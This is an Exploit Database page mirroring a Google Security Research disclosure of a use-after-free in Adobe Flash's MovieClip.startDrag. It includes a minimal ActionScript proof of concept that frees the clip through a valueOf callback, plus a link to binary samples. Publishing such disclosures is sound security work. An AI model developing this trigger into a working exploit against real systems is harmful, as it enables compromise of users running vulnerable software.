Adobe Flash MovieClip.startDrag – Use-After-Free

• Exploit Database
• 14 阅读

• 作者： Google Security Research
  日期： 2015-12-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39041/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=592
  
  There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.
  
  A minimal POC follows:
  
  this.createEmptyMovieClip("mc", 1);
  mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);
  
  
  function func(){
  	
  	mc.removeMovieClip();
  	
  // Fix heap here
  
  	return 1;
  	
  	}
  	
  A sample fla and swf are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39041.zip